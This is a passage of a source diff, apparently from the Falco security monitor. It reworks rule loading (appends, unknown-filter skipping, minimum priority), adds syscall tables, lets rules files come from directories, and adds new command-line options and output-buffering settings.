+	       error ("List " ..v['list'].. " has 'append' key but no list by that name already exists")
+	    end
+
+	    for i, elem in ipairs(v['items']) do
+	       table.insert(state.lists_by_name[v['list']]['items'], elem)
+	    end
+	 else
+	    state.lists_by_name[v['list']] = v
+	 end
 
       elseif (v['rule']) then
 
@@ -230,21 +275,64 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	    error ("Missing name in rule")
 	 end
 
-	 for i, field in ipairs({'condition', 'output', 'desc', 'priority'}) do
-	    if (v[field] == nil) then
-	       error ("Missing "..field.." in rule with name "..v['rule'])
+	 -- By default, if a rule's condition refers to an unknown
+	 -- filter like evt.type, etc the loader throws an error.
+	 if v['skip-if-unknown-filter'] == nil then
+	    v['skip-if-unknown-filter'] = false
+	 end
+
+	 -- Possibly append to the condition field of an existing rule
+	 append = false
+
+	 if v['append'] then
+	    append = v['append']
+	 end
+
+	 if append then
+
+	    -- For append rules, all you need is the condition
+	    for i, field in ipairs({'condition'}) do
+	       if (v[field] == nil) then
+		  error ("Missing "..field.." in rule with name "..v['rule'])
+	       end
+	    end
+
+	    if state.rules_by_name[v['rule']] == nil then
+	       if state.skipped_rules_by_name[v['rule']] == nil then
+		  error ("Rule " ..v['rule'].. " has 'append' key but no rule by that name already exists")
+	       end
+	    else
+	       state.rules_by_name[v['rule']]['condition'] = state.rules_by_name[v['rule']]['condition'] .. " " .. v['condition']
+	    end
+
+	 else
+
+	    for i, field in ipairs({'condition', 'output', 'desc', 'priority'}) do
+	       if (v[field] == nil) then
+		  error ("Missing "..field.." in rule with name "..v['rule'])
+	       end
+	    end
+
+	    -- Convert the priority-as-string to a priority-as-number now
+	    v['priority_num'] = priority_num_for(v['priority'])
+
+	    if v['priority_num'] <= min_priority then
+	       -- Note that we can overwrite rules, but the rules are still
+	       -- loaded in the order in which they first appeared,
+	       -- potentially across multiple files.
+	       if state.rules_by_name[v['rule']] == nil then
+		  state.ordered_rule_names[#state.ordered_rule_names+1] = v['rule']
+	       end
+
+	       -- The output field might be a folded-style, which adds a
+	       -- newline to the end. Remove any trailing newlines.
+	       v['output'] = compiler.trim(v['output'])
+
+	       state.rules_by_name[v['rule']] = v
+	    else
+	       state.skipped_rules_by_name[v['rule']] = v
 	    end
 	 end
-
-	 -- Note that we can overwrite rules, but the rules are still
-	 -- loaded in the order in which they first appeared,
-	 -- potentially across multiple files.
-	 if state.rules_by_name[v['rule']] == nil then
-	    state.ordered_rule_names[#state.ordered_rule_names+1] = v['rule']
-	 end
-
-	 state.rules_by_name[v['rule']] = v
-
       else
 	 error ("Unknown rule object: "..table.tostring(v))
       end
@@ -270,13 +358,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	 if (state.lists[item] == nil) then
 	    items[#items+1] = item
 	 else
-	    for i, exp_item in ipairs(state.lists[item]) do
+	    for i, exp_item in ipairs(state.lists[item].items) do
 	       items[#items+1] = exp_item
 	    end
 	 end
       end
 
-      state.lists[v['list']] = items
+      state.lists[v['list']] = {["items"] = items, ["used"] = false}
    end
 
    for i, name in ipairs(state.ordered_macro_names) do
@@ -284,15 +372,46 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
       local v = state.macros_by_name[name]
 
       local ast = compiler.compile_macro(v['condition'], state.macros, state.lists)
-      state.macros[v['macro']] = ast.filter.value
+      state.macros[v['macro']] = {["ast"] = ast.filter.value, ["used"] = false}
    end
 
    for i, name in ipairs(state.ordered_rule_names) do
 
       local v = state.rules_by_name[name]
 
-      local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
-							   state.macros, state.lists)
+      warn_evttypes = true
+      if v['warn_evttypes'] ~= nil then
+	 warn_evttypes = v['warn_evttypes']
+      end
+
+      local filter_ast, evttypes, syscallnums, filters = compiler.compile_filter(v['rule'], v['condition'],
+										 state.macros, state.lists,
+										 warn_evttypes)
+
+      -- If a filter in the rule doesn't exist, either skip the rule
+      -- or raise an error, depending on the value of
+      -- skip-if-unknown-filter.
+      for filter, _ in pairs(filters) do
+	 found = false
+
+	 for pat, _ in pairs(defined_filters) do
+	    if string.match(filter, pat) ~= nil then
+	       found = true
+	       break
+	    end
+	 end
+
+	 if not found then
+	    if v['skip-if-unknown-filter'] then
+	       if verbose then
+		  print("Skipping rule \""..v['rule'].."\" that contains unknown filter "..filter)
+	       end
+	       goto next_rule
+	    else
+	       error("Rule \""..v['rule'].."\" contains unknown filter "..filter)
+	    end
+	 end
+      end
 
       if (filter_ast.type == "Rule") then
 	 state.n_rules = state.n_rules + 1
@@ -313,7 +432,7 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	 end
 
 	 -- Pass the filter and event types back up
-	 falco_rules.add_filter(rules_mgr, v['rule'], evttypes, v['tags'])
+	 falco_rules.add_filter(rules_mgr, v['rule'], evttypes, syscallnums, v['tags'])
 
 	 -- Rule ASTs are merged together into one big AST, with "OR" between each
 	 -- rule.
@@ -364,6 +483,23 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
       else
 	 error ("Unexpected type in load_rule: "..filter_ast.type)
       end
+
+      ::next_rule::
+   end
+
+   if verbose then
+      -- Print info on any dangling lists or macros that were not used anywhere
+      for name, macro in pairs(state.macros) do
+	 if macro.used == false then
+	    print("Warning: macro "..name.." not refered to by any rule/macro")
+	 end
+      end
+
+      for name, list in pairs(state.lists) do
+	 if list.used == false then
+	    print("Warning: list "..name.." not refered to by any rule/macro/list")
+	 end
+      end
    end
 
    io.flush()
@@ -443,7 +579,7 @@ function on_event(evt_, rule_id)
    -- Prefix output with '*' so formatting is permissive
    output = "*"..rule.output
 
-   return rule.rule, rule.priority, output
+   return rule.rule, rule.priority_num, output
 end
 
 function print_stats()

userspace/engine/rules.cpp

@@ -66,8 +66,9 @@ void falco_rules::clear_filters()
 
 int falco_rules::add_filter(lua_State *ls)
 {
-	if (! lua_islightuserdata(ls, -4) ||
-	    ! lua_isstring(ls, -3) ||
+	if (! lua_islightuserdata(ls, -5) ||
+	    ! lua_isstring(ls, -4) ||
+	    ! lua_istable(ls, -3) ||
 	    ! lua_istable(ls, -2) ||
 	    ! lua_istable(ls, -1))
 	{
@@ -75,16 +76,28 @@ int falco_rules::add_filter(lua_State *ls)
 		lua_error(ls);
 	}
 
-	falco_rules *rules = (falco_rules *) lua_topointer(ls, -4);
-	const char *rulec = lua_tostring(ls, -3);
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -5);
+	const char *rulec = lua_tostring(ls, -4);
 
 	set<uint32_t> evttypes;
 
+	lua_pushnil(ls);  /* first key */
+	while (lua_next(ls, -4) != 0) {
+                // key is at index -2, value is at index
+                // -1. We want the keys.
+		evttypes.insert(luaL_checknumber(ls, -2));
+
+		// Remove value, keep key for next iteration
+		lua_pop(ls, 1);
+	}
+
+	set<uint32_t> syscalls;
+
 	lua_pushnil(ls);  /* first key */
 	while (lua_next(ls, -3) != 0) {
                 // key is at index -2, value is at index
                 // -1. We want the keys.
-		evttypes.insert(luaL_checknumber(ls, -2));
+		syscalls.insert(luaL_checknumber(ls, -2));
 
 		// Remove value, keep key for next iteration
 		lua_pop(ls, 1);
@@ -95,7 +108,7 @@ int falco_rules::add_filter(lua_State *ls)
 	lua_pushnil(ls);  /* first key */
 	while (lua_next(ls, -2) != 0) {
                 // key is at index -2, value is at index
-                // -1. We want the keys.
+                // -1. We want the values.
 		tags.insert(lua_tostring(ls, -1));
 
 		// Remove value, keep key for next iteration
@@ -103,19 +116,19 @@ int falco_rules::add_filter(lua_State *ls)
 	}
 
 	std::string rule = rulec;
-	rules->add_filter(rule, evttypes, tags);
+	rules->add_filter(rule, evttypes, syscalls, tags);
 
 	return 0;
 }
 
-void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<string> &tags)
+void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<uint32_t> &syscalls, set<string> &tags)
 {
 	// While the current rule was being parsed, a sinsp_filter
 	// object was being populated by lua_parser. Grab that filter
 	// and pass it to the engine.
 	sinsp_filter *filter = m_lua_parser->get_filter(true);
 
-	m_engine->add_evttype_filter(rule, evttypes, tags, filter);
+	m_engine->add_evttype_filter(rule, evttypes, syscalls, tags, filter);
 }
 
 int falco_rules::enable_rule(lua_State *ls)
@@ -145,7 +158,8 @@ void falco_rules::enable_rule(string &rule, bool enabled)
 
 void falco_rules::load_rules(const string &rules_content,
 			     bool verbose, bool all_events,
-			     string &extra, bool replace_container_info)
+			     string &extra, bool replace_container_info,
+			     falco_common::priority_type min_priority)
 {
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
@@ -182,6 +196,35 @@ void falco_rules::load_rules(const string &rules_content,
 
 		lua_setglobal(m_ls, m_lua_events.c_str());
 
+		map<string,string> syscalls_by_name;
+		for(uint32_t j = 0; j < PPM_SC_MAX; j++)
+		{
+			auto it = syscalls_by_name.find(stable[j].name);
+
+			if (it == syscalls_by_name.end())
+			{
+				syscalls_by_name[stable[j].name] = to_string(j);
+			}
+			else
+			{
+				string cur = it->second;
+				cur += " ";
+				cur += to_string(j);
+				syscalls_by_name[stable[j].name] = cur;
+			}
+		}
+
+		lua_newtable(m_ls);
+
+		for( auto kv : syscalls_by_name)
+		{
+			lua_pushstring(m_ls, kv.first.c_str());
+			lua_pushstring(m_ls, kv.second.c_str());
+			lua_settable(m_ls, -3);
+		}
+
+		lua_setglobal(m_ls, m_lua_syscalls.c_str());
+
 		// Create a table containing the syscalls/events that
 		// are ignored by the kernel module. load_rules will
 		// return an error if any rule references one of these
@@ -215,13 +258,71 @@ void falco_rules::load_rules(const string &rules_content,
 
 		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
 
+		// Create a table containing all filtercheck names.
+		lua_newtable(m_ls);
+
+		vector<const filter_check_info*> fc_plugins;
+		sinsp::get_filtercheck_fields_info(&fc_plugins);
+
+		for(uint32_t j = 0; j < fc_plugins.size(); j++)
+		{
+			const filter_check_info* fci = fc_plugins[j];
+
+			if(fci->m_flags & filter_check_info::FL_HIDDEN)
+			{
+				continue;
+			}
+
+			for(int32_t k = 0; k < fci->m_nfields; k++)
+			{
+				const filtercheck_field_info* fld = &fci->m_fields[k];
+
+				if(fld->m_flags & EPF_TABLE_ONLY ||
+				   fld->m_flags & EPF_PRINT_ONLY)
+				{
+					continue;
+				}
+
+				// Some filters can work with or without an argument
+				std::set<string> flexible_filters = {
+					"^proc.aname",
+					"^proc.apid"
+				};
+
+				std::list<string> fields;
+				std::string field_base = string("^") + fld->m_name;
+
+				if(fld->m_flags & EPF_REQUIRES_ARGUMENT ||
+				   flexible_filters.find(field_base) != flexible_filters.end())
+				{
+					fields.push_back(field_base + "[%[%.]");
+				}
+
+				if(!(fld->m_flags & EPF_REQUIRES_ARGUMENT) ||
+				   flexible_filters.find(field_base) != flexible_filters.end())
+				{
+					fields.push_back(field_base + "$");
+				}
+
+				for(auto &field : fields)
+				{
+					lua_pushstring(m_ls, field.c_str());
+					lua_pushnumber(m_ls, 1);
+					lua_settable(m_ls, -3);
+				}
+			}
+		}
+
+		lua_setglobal(m_ls, m_lua_defined_filters.c_str());
+
 		lua_pushstring(m_ls, rules_content.c_str());
 		lua_pushlightuserdata(m_ls, this);
 		lua_pushboolean(m_ls, (verbose ? 1 : 0));
 		lua_pushboolean(m_ls, (all_events ? 1 : 0));
 		lua_pushstring(m_ls, extra.c_str());
 		lua_pushboolean(m_ls, (replace_container_info ? 1 : 0));
-		if(lua_pcall(m_ls, 6, 0, 0) != 0)
+		lua_pushnumber(m_ls, min_priority);
+		if(lua_pcall(m_ls, 7, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);

userspace/engine/rules.h

@@ -24,6 +24,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 
 #include "lua_parser.h"
 
+#include "falco_common.h"
+
 class falco_engine;
 
 class falco_rules
@@ -32,7 +34,8 @@ class falco_rules
 	falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls);
 	~falco_rules();
 	void load_rules(const string &rules_content, bool verbose, bool all_events,
-			std::string &extra, bool replace_container_info);
+			std::string &extra, bool replace_container_info,
+			falco_common::priority_type min_priority);
 	void describe_rule(string *rule);
 
 	static void init(lua_State *ls);
@@ -42,7 +45,7 @@ class falco_rules
 
  private:
 	void clear_filters();
-	void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<string> &tags);
+	void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<uint32_t> &syscalls, std::set<string> &tags);
 	void enable_rule(string &rule, bool enabled);
 
 	lua_parser* m_lua_parser;
@@ -53,6 +56,8 @@ class falco_rules
 	string m_lua_load_rules = "load_rules";
 	string m_lua_ignored_syscalls = "ignored_syscalls";
 	string m_lua_ignored_events = "ignored_events";
+	string m_lua_defined_filters = "defined_filters";
 	string m_lua_events = "events";
+	string m_lua_syscalls = "syscalls";
 	string m_lua_describe_rule = "describe_rule";
 };

userspace/falco/config_falco.h.in

@@ -5,7 +5,7 @@
 #define FALCO_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
 #define FALCO_SOURCE_DIR "${PROJECT_SOURCE_DIR}"
 #define FALCO_SOURCE_CONF_FILE "${PROJECT_SOURCE_DIR}/falco.yaml"
-#define FALCO_INSTALL_CONF_FILE "/etc/falco.yaml"
+#define FALCO_INSTALL_CONF_FILE "/etc/falco/falco.yaml"
 #define FALCO_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/userspace/falco/lua/"
 
 #define PROBE_NAME "${PROBE_NAME}"

userspace/falco/configuration.cpp

@@ -16,13 +16,21 @@ You should have received a copy of the GNU General Public License
 along with falco.  If not, see <http://www.gnu.org/licenses/>.
 */
 
+#include <algorithm>
+
+#include <dirent.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
 #include "configuration.h"
 #include "logger.h"
 
 using namespace std;
 
 falco_configuration::falco_configuration()
-	: m_config(NULL)
+	: m_buffered_outputs(true),
+	  m_config(NULL)
 {
 }
 
@@ -51,20 +59,38 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 
 	init_cmdline_options(cmdline_options);
 
-	m_rules_filenames.push_back(m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml"));
+	list<string> rules_files;
+
+	m_config->get_sequence<list<string>>(rules_files, string("rules_file"));
+
+	for(auto &file : rules_files)
+	{
+		// Here, we only include files that exist
+		struct stat buffer;
+		if(stat(file.c_str(), &buffer) == 0)
+		{
+			read_rules_file_directory(file, m_rules_filenames);
+		}
+	}
+
 	m_json_output = m_config->get_scalar<bool>("json_output", false);
+	m_json_include_output_property = m_config->get_scalar<bool>("json_include_output_property", true);
 
 	falco_outputs::output_config file_output;
 	file_output.name = "file";
 	if (m_config->get_scalar<bool>("file_output", "enabled", false))
 	{
-		string filename;
+		string filename, keep_alive;
 		filename = m_config->get_scalar<string>("file_output", "filename", "");
 		if (filename == string(""))
 		{
 			throw invalid_argument("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
 		}
 		file_output.options["filename"] = filename;
+
+		keep_alive = m_config->get_scalar<string>("file_output", "keep_alive", "");
+		file_output.options["keep_alive"] = keep_alive;
+
 		m_outputs.push_back(file_output);
 	}
 
@@ -86,13 +112,17 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 	program_output.name = "program";
 	if (m_config->get_scalar<bool>("program_output", "enabled", false))
 	{
-		string program;
+		string program, keep_alive;
 		program = m_config->get_scalar<string>("program_output", "program", "");
 		if (program == string(""))
 		{
 			throw sinsp_exception("Error reading config file (" + m_config_file + "): program output enabled but no program in configuration block");
 		}
 		program_output.options["program"] = program;
+
+		keep_alive = m_config->get_scalar<string>("program_output", "keep_alive", "");
+		program_output.options["keep_alive"] = keep_alive;
+
 		m_outputs.push_back(program_output);
 	}
 
@@ -108,10 +138,89 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 	m_notifications_rate = m_config->get_scalar<uint32_t>("outputs", "rate", 1);
 	m_notifications_max_burst = m_config->get_scalar<uint32_t>("outputs", "max_burst", 1000);
 
+	string priority = m_config->get_scalar<string>("priority", "debug");
+	vector<string>::iterator it;
+
+	auto comp = [priority] (string &s) {
+		return (strcasecmp(s.c_str(), priority.c_str()) == 0);
+	};
+
+	if((it = std::find_if(falco_common::priority_names.begin(), falco_common::priority_names.end(), comp)) == falco_common::priority_names.end())
+	{
+		throw invalid_argument("Unknown priority \"" + priority + "\"--must be one of emergency, alert, critical, error, warning, notice, informational, debug");
+	}
+	m_min_priority = (falco_common::priority_type) (it - falco_common::priority_names.begin());
+
+	m_buffered_outputs = m_config->get_scalar<bool>("buffered_outputs", true);
+
 	falco_logger::log_stderr = m_config->get_scalar<bool>("log_stderr", false);
 	falco_logger::log_syslog = m_config->get_scalar<bool>("log_syslog", true);
 }
 
+void falco_configuration::read_rules_file_directory(const string &path, list<string> &rules_filenames)
+{
+	struct stat st;
+
+	int rc = stat(path.c_str(), &st);
+
+	if(rc != 0)
+	{
+		std::cerr << "Could not get info on rules file " << path << ": " << strerror(errno) << std::endl;
+		exit(-1);
+	}
+
+	if(st.st_mode & S_IFDIR)
+	{
+		// It's a directory. Read the contents, sort
+		// alphabetically, and add every path to
+		// rules_filenames
+		vector<string> dir_filenames;
+
+		DIR *dir = opendir(path.c_str());
+
+		if(!dir)
+		{
+			std::cerr << "Could not get read contents of directory " << path << ": " << strerror(errno) << std::endl;
+			exit(-1);
+		}
+
+		for (struct dirent *ent = readdir(dir); ent; ent = readdir(dir))
+		{
+			string efile = path + "/" + ent->d_name;
+
+			rc = stat(efile.c_str(), &st);
+
+			if(rc != 0)
+			{
+				std::cerr << "Could not get info on rules file " << efile << ": " << strerror(errno) << std::endl;
+				exit(-1);
+			}
+
+			if(st.st_mode & S_IFREG)
+			{
+				dir_filenames.push_back(efile);
+			}
+		}
+
+		closedir(dir);
+
+		std::sort(dir_filenames.begin(),
+			  dir_filenames.end());
+
+		for (string &ent : dir_filenames)
+		{
+			rules_filenames.push_back(ent);
+		}
+	}
+	else
+	{
+		// Assume it's a file and just add to
+		// rules_filenames. If it can't be opened/etc that
+		// will be reported later..
+		rules_filenames.push_back(path);
+	}
+}
+
 static bool split(const string &str, char delim, pair<string,string> &parts)
 {
 	size_t pos;

userspace/falco/configuration.h

@@ -18,6 +18,9 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 
 #pragma once
 
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
 #include <yaml-cpp/yaml.h>
 #include <string>
 #include <vector>
@@ -127,6 +130,27 @@ public:
 		}
 	}
 
+	// called with the last variadic arg (where the sequence is expected to be found)
+	template <typename T>
+	void get_sequence(T& ret, const std::string& name)
+	{
+		YAML::Node child_node = m_root[name];
+		if(child_node.IsDefined())
+		{
+			if(child_node.IsSequence())
+			{
+				for(const YAML::Node& item : child_node)
+				{
+					ret.insert(ret.end(), item.as<typename T::value_type>());
+				}
+			}
+			else if(child_node.IsScalar())
+			{
+				ret.insert(ret.end(), child_node.as<typename T::value_type>());
+			}
+		}
+	}
+
 private:
 	YAML::Node m_root;
 };
@@ -141,11 +165,18 @@ class falco_configuration
 	void init(std::string conf_filename, std::list<std::string> &cmdline_options);
 	void init(std::list<std::string> &cmdline_options);
 
+	static void read_rules_file_directory(const string &path, list<string> &rules_filenames);
+
 	std::list<std::string> m_rules_filenames;
 	bool m_json_output;
+	bool m_json_include_output_property;
 	std::vector<falco_outputs::output_config> m_outputs;
 	uint32_t m_notifications_rate;
 	uint32_t m_notifications_max_burst;
+
+	falco_common::priority_type m_min_priority;
+
+	bool m_buffered_outputs;
  private:
 	void init_cmdline_options(std::list<std::string> &cmdline_options);
 

userspace/falco/falco.cpp

@@ -22,6 +22,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include <fstream>
 #include <set>
 #include <list>
+#include <vector>
+#include <algorithm>
 #include <string>
 #include <signal.h>
 #include <fcntl.h>
@@ -32,6 +34,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include <sinsp.h>
 
 #include "logger.h"
+#include "utils.h"
 
 #include "configuration.h"
 #include "falco_engine.h"
@@ -39,6 +42,8 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 #include "statsfilewriter.h"
 
 bool g_terminate = false;
+bool g_reopen_outputs = false;
+
 //
 // Helper functions
 //
@@ -47,6 +52,11 @@ static void signal_callback(int signal)
 	g_terminate = true;
 }
 
+static void reopen_outputs(int signal)
+{
+	g_reopen_outputs = true;
+}
+
 //
 // Program help
 //
@@ -99,14 +109,21 @@ static void usage()
 	   "                               of %%container.info in rule output fields\n"
 	   "                               See the examples section below for more info.\n"
 	   " -P, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
-           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
-	   "                               Can be specified multiple times to read from multiple files.\n"
+           " -r <rules_file>               Rules file/directory (defaults to value set in configuration file,\n"
+           "                               or /etc/falco_rules.yaml). Can be specified multiple times to read\n"
+           "                               from multiple files/directories.\n"
 	   " -s <stats_file>               If specified, write statistics related to falco's reading/processing of events\n"
 	   "                               to this file. (Only useful in live mode).\n"
 	   " -T <tag>                      Disable any rules with a tag=<tag>. Can be specified multiple times.\n"
 	   "                               Can not be specified with -t.\n"
 	   " -t <tag>                      Only run those rules with a tag=<tag>. Can be specified multiple times.\n"
 	   "                               Can not be specified with -T/-D.\n"
+	   " -U,--unbuffered               Turn off output buffering to configured outputs. This causes every\n"
+	   "                               single line emitted by falco to be flushed, which generates higher CPU\n"
+	   "                               usage but is useful when piping those outputs into another process\n"
+	   "                               or into a script.\n"
+	   " -V,--validate <rules_file>    Read the contents of the specified rules(s) file and exit\n"
+	   "                               Can be specified multiple times to validate multiple files.\n"
 	   " -v                            Verbose output.\n"
            " --version                     Print version number.\n"
 	   "\n"
@@ -137,7 +154,8 @@ uint64_t do_inspect(falco_engine *engine,
 		    falco_outputs *outputs,
 		    sinsp* inspector,
 		    uint64_t duration_to_tot_ns,
-		    string &stats_filename)
+		    string &stats_filename,
+		    bool all_events)
 {
 	uint64_t num_evts = 0;
 	int32_t res;
@@ -165,6 +183,12 @@ uint64_t do_inspect(falco_engine *engine,
 
 		writer.handle();
 
+		if(g_reopen_outputs)
+		{
+			outputs->reopen_outputs();
+			g_reopen_outputs = false;
+		}
+
 		if (g_terminate)
 		{
 			break;
@@ -198,8 +222,7 @@ uint64_t do_inspect(falco_engine *engine,
 			}
 		}
 
-		if(!inspector->is_debug_enabled() &&
-			ev->get_category() & EC_INTERNAL)
+		if(!ev->falco_consider() && !all_events)
 		{
 			continue;
 		}
@@ -212,7 +235,7 @@ uint64_t do_inspect(falco_engine *engine,
 		unique_ptr<falco_engine::rule_result> res = engine->process_event(ev);
 		if(res)
 		{
-			outputs->handle_event(res->evt, res->rule, res->priority, res->format);
+			outputs->handle_event(res->evt, res->rule, res->priority_num, res->format);
 		}
 
 		num_evts++;
@@ -221,6 +244,47 @@ uint64_t do_inspect(falco_engine *engine,
 	return num_evts;
 }
 
+static void print_all_ignored_events(sinsp *inspector)
+{
+	sinsp_evttables* einfo = inspector->get_event_info_tables();
+	const struct ppm_event_info* etable = einfo->m_event_info;
+	const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+	std::set<string> ignored_event_names;
+	for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+	{
+		if(!sinsp::falco_consider_evtnum(j))
+		{
+			std::string name = etable[j].name;
+			// Ignore event names NA*
+			if(name.find("NA") != 0)
+			{
+				ignored_event_names.insert(name);
+			}
+		}
+	}
+
+	for(uint32_t j = 0; j < PPM_SC_MAX; j++)
+	{
+		if(!sinsp::falco_consider_syscallid(j))
+		{
+			std::string name = stable[j].name;
+			// Ignore event names NA*
+			if(name.find("NA") != 0)
+			{
+				ignored_event_names.insert(name);
+			}
+		}
+	}
+
+	printf("Ignored Event(s):");
+	for(auto it : ignored_event_names)
+	{
+		printf(" %s", it.c_str());
+	}
+	printf("\n");
+}
+
 //
 // ARGUMENT PARSING AND PROGRAM SETUP
 //
@@ -240,6 +304,7 @@ int falco_init(int argc, char **argv)
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
+	list<string> validate_rules_filenames;
 	string stats_filename = "";
 	bool verbose = false;
 	bool all_events = false;
@@ -249,6 +314,7 @@ int falco_init(int argc, char **argv)
 	string output_format = "";
 	bool replace_container_info = false;
 	int duration_to_tot = 0;
+	bool print_ignored_events = false;
 
 	// Used for writing trace files
 	int duration_seconds = 0;
@@ -256,6 +322,8 @@ int falco_init(int argc, char **argv)
 	int file_limit = 0;
 	unsigned long event_limit = 0L;
 	bool compress = false;
+	bool buffered_outputs = true;
+	bool buffered_cmdline = false;
 
 	// Used for stats
 	uint64_t num_evts;
@@ -272,8 +340,11 @@ int falco_init(int argc, char **argv)
 		{"option", required_argument, 0, 'o'},
 		{"print", required_argument, 0, 'p' },
 		{"pidfile", required_argument, 0, 'P' },
+		{"unbuffered", no_argument, 0, 'U' },
 		{"version", no_argument, 0, 0 },
+		{"validate", required_argument, 0, 'V' },
 		{"writefile", required_argument, 0, 'w' },
+		{"ignored-events", no_argument, 0, 'i'},
 
 		{0, 0, 0, 0}
 	};
@@ -290,7 +361,7 @@ int falco_init(int argc, char **argv)
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "hc:AdD:e:k:K:Ll:m:M:o:P:p:r:s:T:t:vw:",
+                                        "hc:AdD:e:ik:K:Ll:m:M:o:P:p:r:s:T:t:UvV:w:",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -316,6 +387,9 @@ int falco_init(int argc, char **argv)
 				k8s_api = new string();
 				mesos_api = new string();
 				break;
+			case 'i':
+				print_ignored_events = true;
+				break;
 			case 'k':
 				k8s_api = new string(optarg);
 				break;
@@ -367,7 +441,7 @@ int falco_init(int argc, char **argv)
 				}
 				break;
 			case 'r':
-				rules_filenames.push_back(optarg);
+				falco_configuration::read_rules_file_directory(string(optarg), rules_filenames);
 				break;
 			case 's':
 				stats_filename = optarg;
@@ -378,9 +452,16 @@ int falco_init(int argc, char **argv)
 			case 't':
 				enabled_rule_tags.insert(optarg);
 				break;
+			case 'U':
+				buffered_outputs = false;
+				buffered_cmdline = true;
+				break;
 			case 'v':
 				verbose = true;
 				break;
+			case 'V':
+				validate_rules_filenames.push_back(optarg);
+				break;
 			case 'w':
 				outfile = optarg;
 				break;
@@ -399,12 +480,20 @@ int falco_init(int argc, char **argv)
 			return EXIT_SUCCESS;
 		}
 
-
 		inspector = new sinsp();
+
+		if(print_ignored_events)
+		{
+			print_all_ignored_events(inspector);
+			delete(inspector);
+			return EXIT_SUCCESS;
+		}
+
 		engine = new falco_engine();
 		engine->set_inspector(inspector);
 		engine->set_extra(output_format, replace_container_info);
 
+
 		outputs = new falco_outputs();
 		outputs->set_inspector(inspector);
 
@@ -443,6 +532,21 @@ int falco_init(int argc, char **argv)
 			}
 		}
 
+		if(validate_rules_filenames.size() > 0)
+		{
+			falco_logger::log(LOG_INFO, "Validating rules file(s):\n");
+			for(auto file : validate_rules_filenames)
+			{
+				falco_logger::log(LOG_INFO, "   " + file + "\n");
+			}
+			for(auto file : validate_rules_filenames)
+			{
+				engine->load_rules_file(file, verbose, all_events);
+			}
+			falco_logger::log(LOG_INFO, "Ok\n");
+			goto exit;
+		}
+
 		falco_configuration config;
 		if (conf_filename.size())
 		{
@@ -461,10 +565,28 @@ int falco_init(int argc, char **argv)
 			config.m_rules_filenames = rules_filenames;
 		}
 
+		engine->set_min_priority(config.m_min_priority);
+
+		if(buffered_cmdline)
+		{
+			config.m_buffered_outputs = buffered_outputs;
+		}
+
+		if(config.m_rules_filenames.size() == 0)
+		{
+			throw std::invalid_argument("You must specify at least one rules file/directory via -r or a rules_file entry in falco.yaml");
+		}
+
+		falco_logger::log(LOG_DEBUG, "Configured rules filenames:\n");
 		for (auto filename : config.m_rules_filenames)
 		{
+			falco_logger::log(LOG_DEBUG, string("   ") + filename + "\n");
+		}
+
+		for (auto filename : config.m_rules_filenames)
+		{
+			falco_logger::log(LOG_INFO, "Loading rules from file " + filename + ":\n");
 			engine->load_rules_file(filename, verbose, all_events);
-			falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n");
 		}
 
 		// You can't both disable and enable rules
@@ -501,11 +623,15 @@ int falco_init(int argc, char **argv)
 			engine->enable_rule_by_tag(enabled_rule_tags, true);
 		}
 
-		outputs->init(config.m_json_output, config.m_notifications_rate, config.m_notifications_max_burst);
+		outputs->init(config.m_json_output,
+			      config.m_json_include_output_property,
+			      config.m_notifications_rate, config.m_notifications_max_burst,
+			      config.m_buffered_outputs);
 
 		if(!all_events)
 		{
 			inspector->set_drop_event_flags(EF_DROP_FALCO);
+			inspector->start_dropping_mode(1);
 		}
 
 		if (describe_all_rules)
@@ -541,6 +667,13 @@ int falco_init(int argc, char **argv)
 			goto exit;
 		}
 
+		if(signal(SIGUSR1, reopen_outputs) == SIG_ERR)
+		{
+			fprintf(stderr, "An error occurred while setting SIGUSR1 signal handler.\n");
+			result = EXIT_FAILURE;
+			goto exit;
+		}
+
 		if (scap_filename.size())
 		{
 			inspector->open(scap_filename);
@@ -685,7 +818,8 @@ int falco_init(int argc, char **argv)
 				      outputs,
 				      inspector,
 				      uint64_t(duration_to_tot*ONE_SECOND_IN_NS),
-				      stats_filename);
+				      stats_filename,
+				      all_events);
 
 		duration = ((double)clock()) / CLOCKS_PER_SEC - duration;
 

